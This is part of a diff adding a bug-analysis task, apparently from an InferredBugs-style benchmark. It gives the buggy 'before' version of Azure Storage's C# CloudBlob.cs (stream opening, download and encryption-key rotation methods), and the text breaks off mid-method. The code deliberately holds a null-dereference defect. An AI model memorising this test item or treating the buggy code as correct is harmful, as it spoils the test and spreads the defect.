+b1f4bdb79461149f6e49284e959f9c3b
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1670/instruction.md b/inferredbugs-1670/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..cbc2dd4b33ec4a5a0d9fe503fea070330e4ab16d
--- /dev/null
+++ b/inferredbugs-1670/instruction.md
@@ -0,0 +1,4371 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** azure-storage-net
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+//-----------------------------------------------------------------------
+// <copyright file="CloudBlob.cs" company="Microsoft">
+//    Copyright 2013 Microsoft Corporation
+//
+//    Licensed under the Apache License, Version 2.0 (the "License");
+//    you may not use this file except in compliance with the License.
+//    You may obtain a copy of the License at
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+//    Unless required by applicable law or agreed to in writing, software
+//    distributed under the License is distributed on an "AS IS" BASIS,
+//    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+//    See the License for the specific language governing permissions and
+//    limitations under the License.
+// </copyright>
+//-----------------------------------------------------------------------
+namespace Microsoft.WindowsAzure.Storage.Blob
+{
+    using Microsoft.WindowsAzure.Storage.Blob.Protocol;
+    using Microsoft.WindowsAzure.Storage.Core;
+    using Microsoft.WindowsAzure.Storage.Core.Executor;
+    using Microsoft.WindowsAzure.Storage.Core.Util;
+    using Microsoft.WindowsAzure.Storage.Shared.Protocol;
+    using System;
+    using System.Collections.Generic;
+    using System.IO;
+    using System.Net;
+    using System.Net.Http;
+    using System.Net.Http;
+    using System.Security.Cryptography;
+    using System.Threading;
+    using System.Threading.Tasks;
+
+    public partial class CloudBlob : IListBlobItem
+    {
+#if SYNC
+        /// <summary>
+        /// Opens a stream for reading from the blob.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request. If <c>null</c>, default options are applied to the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>A <see cref="System.IO.Stream"/> object to be used for reading from the blob.</returns>
+        /// <remarks>
+        /// <para>Note that this method always makes a call to the <see cref="FetchAttributes(AccessCondition, BlobRequestOptions, OperationContext)"/> method under the covers.</para>
+        /// <para>Set the <see cref="StreamMinimumReadSizeInBytes"/> property before calling this method to specify the minimum
+        /// number of bytes to buffer when reading from the stream. The value must be at least 16 KB.</para>
+        /// </remarks>
+        [DoesServiceRequest]
+        public virtual Stream OpenRead(AccessCondition accessCondition = null, BlobRequestOptions options = null, OperationContext operationContext = null)
+        {
+            this.FetchAttributes(accessCondition, options, operationContext);
+            AccessCondition streamAccessCondition = AccessCondition.CloneConditionWithETag(accessCondition, this.Properties.ETag);
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient, false);
+            return new BlobReadStream(this, streamAccessCondition, modifiedOptions, operationContext);
+        }
+#endif
+
+        /// <summary>
+        /// Begins an asynchronous operation to open a stream for reading from the blob.
+        /// </summary>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        /// <remarks>
+        /// <para>On the <see cref="System.IO.Stream"/> object returned by the <see cref="EndOpenRead"/> method, the <see cref="System.IO.Stream.EndRead(IAsyncResult)"/> 
+        /// method must be called exactly once for every <see cref="System.IO.Stream.BeginRead(byte[], int, int, AsyncCallback, Object)"/> call. 
+        /// Failing to end the read process before beginning another read process can cause unexpected behavior.</para>
+        /// <para>Note that this method always makes a call to the <see cref="BeginFetchAttributes(AccessCondition, BlobRequestOptions, OperationContext, AsyncCallback, object)"/> method under the covers.</para>
+        /// <para>Set the <see cref="StreamMinimumReadSizeInBytes"/> property before calling this method to specify the minimum
+        /// number of bytes to buffer when reading from the stream. The value must be at least 16 KB.</para>
+        /// </remarks>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginOpenRead(AsyncCallback callback, object state)
+        {
+            return this.BeginOpenRead(null /* accessCondition */, null /* options */, null /* operationContext */, callback, state);
+        }
+
+        /// <summary>
+        /// Begins an asynchronous operation to open a stream for reading from the blob.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        /// <remarks>
+        /// <para>On the <see cref="System.IO.Stream"/> object returned by the <see cref="EndOpenRead"/> method, the <see cref="System.IO.Stream.EndRead(IAsyncResult)"/> 
+        /// method must be called exactly once for every <see cref="System.IO.Stream.BeginRead(byte[], int, int, AsyncCallback, Object)"/> call. 
+        /// Failing to end the read process before beginning another read process can cause unexpected behavior.</para>
+        /// <para>Note that this method always makes a call to the <see cref="BeginFetchAttributes(AccessCondition, BlobRequestOptions, OperationContext, AsyncCallback, object)"/> method under the covers.</para>
+        /// <para>Set the <see cref="StreamMinimumReadSizeInBytes"/> property before calling this method to specify the minimum
+        /// number of bytes to buffer when reading from the stream. The value must be at least 16 KB.</para>
+        /// </remarks>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginOpenRead(AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, AsyncCallback callback, object state)
+        {
+            return CancellableAsyncResultTaskWrapper.Create(token => this.OpenReadAsync(accessCondition, options, operationContext, token), callback, state);
+        }
+
+        /// <summary>
+        /// Ends an asynchronous operation to open a stream for reading from the blob.
+        /// </summary>
+        /// <param name="asyncResult">An <see cref="IAsyncResult"/> that references the pending asynchronous operation.</param>
+        /// <returns>A <see cref="System.IO.Stream"/> object to be used for reading from the blob.</returns>
+        /// <remarks>
+        /// <para>On the <see cref="System.IO.Stream"/> object returned by this method, the <see cref="System.IO.Stream.EndRead(IAsyncResult)"/> 
+        /// method must be called exactly once for every <see cref="System.IO.Stream.BeginRead(byte[], int, int, AsyncCallback, Object)"/> call. 
+        /// Failing to end the read process before beginning another read process can cause unexpected behavior.</para>
+        /// </remarks>
+        public virtual Stream EndOpenRead(IAsyncResult asyncResult)
+        {
+            return ((CancellableAsyncResultTaskWrapper<Stream>)asyncResult).GetAwaiter().GetResult();
+        }
+
+#if TASK
+        /// <summary>
+        /// Initiates an asynchronous operation to open a stream for reading from the blob.
+        /// </summary>
+        /// <returns>A <see cref="Task{T}"/> object of type <see cref="System.IO.Stream"/> that represents the asynchronous operation.</returns>
+        /// <remarks>
+        /// <para>On the <see cref="System.IO.Stream"/> object returned by this method, the <see cref="System.IO.Stream.EndRead(IAsyncResult)"/> 
+        /// method must be called exactly once for every <see cref="System.IO.Stream.BeginRead(byte[], int, int, AsyncCallback, Object)"/> call. 
+        /// Failing to end the read process before beginning another read process can cause unexpected behavior.</para>
+        /// <para>Note that this method always makes a call to the <see cref="FetchAttributesAsync(AccessCondition, BlobRequestOptions, OperationContext, CancellationToken)"/> method under the covers.</para>
+        /// <para>Set the <see cref="StreamMinimumReadSizeInBytes"/> property before calling this method to specify the minimum
+        /// number of bytes to buffer when reading from the stream. The value must be at least 16 KB.</para>
+        /// </remarks>
+        [DoesServiceRequest]
+        public virtual Task<Stream> OpenReadAsync()
+        {
+            return this.OpenReadAsync(default(AccessCondition), default(BlobRequestOptions), default(OperationContext), CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to open a stream for reading from the blob.
+        /// </summary>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <see cref="System.IO.Stream"/> that represents the asynchronous operation.</returns>
+        /// <remarks>
+        /// <para>On the <see cref="System.IO.Stream"/> object returned by this method, the <see cref="System.IO.Stream.EndRead(IAsyncResult)"/> 
+        /// method must be called exactly once for every <see cref="System.IO.Stream.BeginRead(byte[], int, int, AsyncCallback, Object)"/> call. 
+        /// Failing to end the read process before beginning another read process can cause unexpected behavior.</para>
+        /// <para>Note that this method always makes a call to the <see cref="FetchAttributesAsync(AccessCondition, BlobRequestOptions, OperationContext, CancellationToken)"/> method under the covers.</para>
+        /// <para>Set the <see cref="StreamMinimumReadSizeInBytes"/> property before calling this method to specify the minimum
+        /// number of bytes to buffer when reading from the stream. The value must be at least 16 KB.</para>
+        /// </remarks>
+        [DoesServiceRequest]
+        public virtual Task<Stream> OpenReadAsync(CancellationToken cancellationToken)
+        {
+            return this.OpenReadAsync(default(AccessCondition), default(BlobRequestOptions), default(OperationContext), cancellationToken);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to open a stream for reading from the blob.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <see cref="System.IO.Stream"/> that represents the asynchronous operation.</returns>
+        /// <remarks>
+        /// <para>On the <see cref="System.IO.Stream"/> object returned by this method, the <see cref="System.IO.Stream.EndRead(IAsyncResult)"/> 
+        /// method must be called exactly once for every <see cref="System.IO.Stream.BeginRead(byte[], int, int, AsyncCallback, Object)"/> call. 
+        /// Failing to end the read process before beginning another read process can cause unexpected behavior.</para>
+        /// <para>Note that this method always makes a call to the <see cref="FetchAttributesAsync(AccessCondition, BlobRequestOptions, OperationContext, CancellationToken)"/> method under the covers.</para>
+        /// <para>Set the <see cref="StreamMinimumReadSizeInBytes"/> property before calling this method to specify the minimum
+        /// number of bytes to buffer when reading from the stream. The value must be at least 16 KB.</para>
+        /// </remarks>
+        [DoesServiceRequest]
+        public virtual Task<Stream> OpenReadAsync(AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext)
+        {
+            return this.OpenReadAsync(accessCondition, options, operationContext, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to open a stream for reading from the blob.
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <see cref="System.IO.Stream"/> that represents the asynchronous operation.</returns>
+        /// <remarks>
+        /// <para>On the <see cref="System.IO.Stream"/> object returned by this method, the <see cref="System.IO.Stream.EndRead(IAsyncResult)"/> 
+        /// method must be called exactly once for every <see cref="System.IO.Stream.BeginRead(byte[], int, int, AsyncCallback, Object)"/> call. 
+        /// Failing to end the read process before beginning another read process can cause unexpected behavior.</para>
+        /// <para>Note that this method always makes a call to the <see cref="FetchAttributesAsync(AccessCondition, BlobRequestOptions, OperationContext, CancellationToken)"/> method under the covers.</para>
+        /// <para>Set the <see cref="StreamMinimumReadSizeInBytes"/> property before calling this method to specify the minimum
+        /// number of bytes to buffer when reading from the stream. The value must be at least 16 KB.</para>
+        /// </remarks>
+        [DoesServiceRequest]
+        public virtual async Task<Stream> OpenReadAsync(AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, CancellationToken cancellationToken)
+        {
+            await this.FetchAttributesAsync(accessCondition, options, operationContext, cancellationToken).ConfigureAwait(false);
+            AccessCondition streamAccessCondition = AccessCondition.CloneConditionWithETag(accessCondition, this.Properties.ETag);
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient, false);
+            return new BlobReadStream(this, streamAccessCondition, modifiedOptions, operationContext);
+        }
+#endif
+#if SYNC
+        /// <summary>
+        /// Downloads the contents of a blob to a stream.
+        /// </summary>
+        /// <param name="target">A <see cref="System.IO.Stream"/> object representing the target stream.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request. If <c>null</c>, default options are applied to the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        [DoesServiceRequest]
+        public virtual void DownloadToStream(Stream target, AccessCondition accessCondition = null, BlobRequestOptions options = null, OperationContext operationContext = null)
+        {
+            this.DownloadRangeToStream(target, null /* offset */, null /* length */, accessCondition, options, operationContext);
+        }
+#endif
+
+        /// <summary>
+        /// Begins an asynchronous operation to download the contents of a blob to a stream.
+        /// </summary>
+        /// <param name="target">A <see cref="System.IO.Stream"/> object representing the target stream.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginDownloadToStream(Stream target, AsyncCallback callback, object state)
+        {
+            return this.BeginDownloadToStream(target, null /* accessCondition */, null /* options */, null /* operationContext */, callback, state);
+        }
+
+        /// <summary>
+        /// Begins an asynchronous operation to download the contents of a blob to a stream.
+        /// </summary>
+        /// <param name="target">A <see cref="System.IO.Stream"/> object representing the target stream.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginDownloadToStream(Stream target, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, AsyncCallback callback, object state)
+        {
+            return this.BeginDownloadRangeToStream(target, null /* offset */, null /* length */, accessCondition, options, operationContext, callback, state);
+        }
+
+        /// <summary>
+        /// Begins an asynchronous operation to download the contents of a blob to a stream.
+        /// </summary>
+        /// <param name="target">A <see cref="System.IO.Stream"/> object representing the target stream.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="progressHandler"> An <see cref="IProgress"/> object to gather progress deltas.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        internal ICancellableAsyncResult BeginDownloadToStream(Stream target, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, IProgress<StorageProgress> progressHandler, AsyncCallback callback, object state)
+        {
+            return CancellableAsyncResultTaskWrapper.Create(token => this.DownloadToStreamAsync(target, accessCondition, options, operationContext, token), callback, state);
+        }
+
+        /// <summary>
+        /// Ends an asynchronous operation to download the contents of a blob to a stream.
+        /// </summary>
+        /// <param name="asyncResult">An <see cref="IAsyncResult"/> that references the pending asynchronous operation.</param>
+        public virtual void EndDownloadToStream(IAsyncResult asyncResult)
+        {
+            ((CancellableAsyncResultTaskWrapper)asyncResult).GetAwaiter().GetResult();
+        }
+
+#if TASK
+        /// <summary>
+        /// Initiates an asynchronous operation to download the contents of a blob to a stream.
+        /// </summary>
+        /// <param name="target">A <see cref="System.IO.Stream"/> object representing the target stream.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task DownloadToStreamAsync(Stream target)
+        {
+            return this.DownloadRangeToStreamAsync(target, null /*null*/, null /*length*/, default(AccessCondition), default(BlobRequestOptions), default(OperationContext), AggregatingProgressIncrementer.None, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to download the contents of a blob to a stream.
+        /// </summary>
+        /// <param name="target">A <see cref="System.IO.Stream"/> object representing the target stream.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task DownloadToStreamAsync(Stream target, CancellationToken cancellationToken)
+        {
+            return this.DownloadRangeToStreamAsync(target, null /*null*/, null /*length*/, default(AccessCondition), default(BlobRequestOptions), default(OperationContext), AggregatingProgressIncrementer.None, cancellationToken);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to download the contents of a blob to a stream.
+        /// </summary>
+        /// <param name="target">A <see cref="System.IO.Stream"/> object representing the target stream.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task DownloadToStreamAsync(Stream target, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext)
+        {
+            return this.DownloadRangeToStreamAsync(target, null /*null*/, null /*length*/, accessCondition, options, operationContext, AggregatingProgressIncrementer.None, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to download the contents of a blob to a stream.
+        /// </summary>
+        /// <param name="target">A <see cref="System.IO.Stream"/> object representing the target stream.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task DownloadToStreamAsync(Stream target, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, CancellationToken cancellationToken)
+        {
+            return this.DownloadRangeToStreamAsync(target, null /*null*/, null /*length*/, accessCondition, options, operationContext, AggregatingProgressIncrementer.None, cancellationToken);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to download the contents of a blob to a stream.
+        /// </summary>
+        /// <param name="target">A <see cref="System.IO.Stream"/> object representing the target stream.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="progressHandler"> A <see cref="System.IProgress{StorageProgress}"/> object to handle <see cref="StorageProgress"/> messages.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task DownloadToStreamAsync(Stream target, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, IProgress<StorageProgress> progressHandler, CancellationToken cancellationToken)
+        {
+            return this.DownloadRangeToStreamAsync(target, null /*null*/, null /*length*/, accessCondition, options, operationContext, progressHandler, cancellationToken);
+        }
+#endif
+
+#if SYNC
+        /// <summary>
+        /// Rotates the encryption key on this blob.
+        /// This method rotates only the KEK, not the CEK.  For more information, visit https://azure.microsoft.com/en-us/documentation/articles/storage-client-side-encryption/
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. 
+        /// For this operation, there must not be an <see cref="AccessCondition.IfMatchETag"/>, <see cref="AccessCondition.IfNoneMatchETag"/>, 
+        /// <see cref="AccessCondition.IfModifiedSinceTime"/>, or <see cref="AccessCondition.IfNotModifiedSinceTime"/> condition.  
+        /// An <see cref="AccessCondition.IfMatchETag"/> condition will be added internally.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <remarks>
+        /// This method has a number of prerequisites:
+        /// 1. The blob must be encrypted on the service using client-side encryption (not service-side encryption.)
+        /// 2. The local object must have the latest attributes from the blob on the service.  This can be done by calling FetchAttributes() on the blob, or by listing blobs in the container with metadata.
+        /// 3. The Encryption Policy on the default BlobRequestOptions must contain an IKeyResolver capable of resolving the old encryption key.
+        /// 4. The Encryption Policy on the default BlobRequestOptions must contain an IKey with the new encryption key.
+        /// </remarks>
+        [DoesServiceRequest]
+        public virtual void RotateEncryptionKey(AccessCondition accessCondition = null, BlobRequestOptions options = null, OperationContext operationContext = null)
+        {
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+
+            WrappedKeyData wrappedKey = CommonUtility.RunWithoutSynchronizationContext(() => this.RotateEncryptionHelper(accessCondition, modifiedOptions, CancellationToken.None).GetAwaiter().GetResult());
+            BlobEncryptionData encryptionData = wrappedKey.encryptionData;
+
+            // Update the encryption metadata with the newly wrapped CEK and call SetMetadata.
+            encryptionData.WrappedContentKey = new WrappedKey(modifiedOptions.EncryptionPolicy.Key.Kid, wrappedKey.encryptedKey, wrappedKey.algorithm);
+
+            this.Metadata[Constants.EncryptionConstants.BlobEncryptionData] = Newtonsoft.Json.JsonConvert.SerializeObject(encryptionData, Newtonsoft.Json.Formatting.None);
+
+            if (accessCondition == null)
+            {
+                accessCondition = new AccessCondition();
+            }
+
+            accessCondition.IfMatchETag = this.Properties.ETag;
+            try
+            {
+                this.SetMetadata(accessCondition, modifiedOptions, operationContext);
+            }
+            // This bit is to improve the error handling case.
+            // If the set-metadata fails, we check if it failed with a Precondition Failure.  If so, we wrap the failure with a 
+            // new StorageException that contains a better error message.
+            // This is important because the library is internally adding an AccessCondition, which may be difficult for users to realize / debug.
+            catch (StorageException e)
+            {
+                // Check to see if our new If-Match condition failed, and if so, give a more helpful exception message.
+                if (e.RequestInformation.HttpStatusCode == (int)HttpStatusCode.PreconditionFailed)
+                {
+                    StorageException wrapperException = new StorageException(e.RequestInformation, SR.KeyRotationPreconditionFailed, e);
+                    throw wrapperException;
+                }
+                else
+                {
+                    throw;
+                }
+            }
+        }
+#endif
+
+        /// <summary>
+        /// Begins an asynchronous operation to rotate the encryption key on this blob.
+        /// This method rotates only the KEK, not the CEK.  For more information, visit https://azure.microsoft.com/en-us/documentation/articles/storage-client-side-encryption/
+        /// </summary>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        /// <remarks>
+        /// This method has a number of prerequisites:
+        /// 1. The blob must be encrypted on the service using client-side encryption (not service-side encryption.)
+        /// 2. The local object must have the latest attributes from the blob on the service.  This can be done by calling FetchAttributes() on the blob, or by listing blobs in the container with metadata.
+        /// 3. The Encryption Policy on the default BlobRequestOptions must contain an IKeyResolver capable of resolving the old encryption key.
+        /// 4. The Encryption Policy on the default BlobRequestOptions must contain an IKey with the new encryption key.
+        /// </remarks>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginRotateEncryptionKey(AsyncCallback callback, object state)
+        {
+            return this.BeginRotateEncryptionKey(null /* accessCondition */, null /* options */, null /* operationContext */, callback, state);
+        }
+
+        /// <summary>
+        /// Begins an asynchronous operation to rotate the encryption key on this blob.
+        /// This method rotates only the KEK, not the CEK.  For more information, visit https://azure.microsoft.com/en-us/documentation/articles/storage-client-side-encryption/
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. 
+        /// For this operation, there must not be an <see cref="AccessCondition.IfMatchETag"/>, <see cref="AccessCondition.IfNoneMatchETag"/>, 
+        /// <see cref="AccessCondition.IfModifiedSinceTime"/>, or <see cref="AccessCondition.IfNotModifiedSinceTime"/> condition.  
+        /// An <see cref="AccessCondition.IfMatchETag"/> condition will be added internally.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        /// <remarks>
+        /// This method has a number of prerequisites:
+        /// 1. The blob must be encrypted on the service using client-side encryption (not service-side encryption.)
+        /// 2. The local object must have the latest attributes from the blob on the service.  This can be done by calling FetchAttributes() on the blob, or by listing blobs in the container with metadata.
+        /// 3. The Encryption Policy on the default BlobRequestOptions must contain an IKeyResolver capable of resolving the old encryption key.
+        /// 4. The Encryption Policy on the default BlobRequestOptions must contain an IKey with the new encryption key.
+        /// </remarks>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginRotateEncryptionKey(AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, AsyncCallback callback, object state)
+        {
+            return CancellableAsyncResultTaskWrapper.Create(token => RotateEncryptionKeyAsync(accessCondition, options, operationContext, token), callback, state);
+        }
+
+        /// <summary>
+        /// Ends an asynchronous operation to rotate the encryption key on this blob.
+        /// </summary>
+        /// <param name="asyncResult">An <see cref="IAsyncResult"/> that references the pending asynchronous operation.</param>
+        public virtual void EndRotateEncryptionKey(IAsyncResult asyncResult)
+        {
+            ((CancellableAsyncResultTaskWrapper)asyncResult).GetAwaiter().GetResult();
+        }
+
+#if TASK
+
+        /// <summary>
+        /// Initiates an asynchronous operation to rotate the encryption key on this blob.
+        /// This method rotates only the KEK, not the CEK.  For more information, visit https://azure.microsoft.com/en-us/documentation/articles/storage-client-side-encryption/
+        /// </summary>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns> 
+        /// <remarks>
+        /// This method has a number of prerequisites:
+        /// 1. The blob must be encrypted on the service using client-side encryption (not service-side encryption.)
+        /// 2. The local object must have the latest attributes from the blob on the service.  This can be done by calling FetchAttributes() on the blob, or by listing blobs in the container with metadata.
+        /// 3. The Encryption Policy on the default BlobRequestOptions must contain an IKeyResolver capable of resolving the old encryption key.
+        /// 4. The Encryption Policy on the default BlobRequestOptions must contain an IKey with the new encryption key.
+        /// </remarks>
+        [DoesServiceRequest]
+        public virtual Task RotateEncryptionKeyAsync()
+        {
+            return this.RotateEncryptionKeyAsync(CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to rotate the encryption key on this blob.
+        /// This method rotates only the KEK, not the CEK.  For more information, visit https://azure.microsoft.com/en-us/documentation/articles/storage-client-side-encryption/
+        /// </summary>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns> 
+        /// <remarks>
+        /// This method has a number of prerequisites:
+        /// 1. The blob must be encrypted on the service using client-side encryption (not service-side encryption.)
+        /// 2. The local object must have the latest attributes from the blob on the service.  This can be done by calling FetchAttributes() on the blob, or by listing blobs in the container with metadata.
+        /// 3. The Encryption Policy on the default BlobRequestOptions must contain an IKeyResolver capable of resolving the old encryption key.
+        /// 4. The Encryption Policy on the default BlobRequestOptions must contain an IKey with the new encryption key.
+        /// </remarks>
+        [DoesServiceRequest]
+        public virtual Task RotateEncryptionKeyAsync(CancellationToken cancellationToken)
+        {
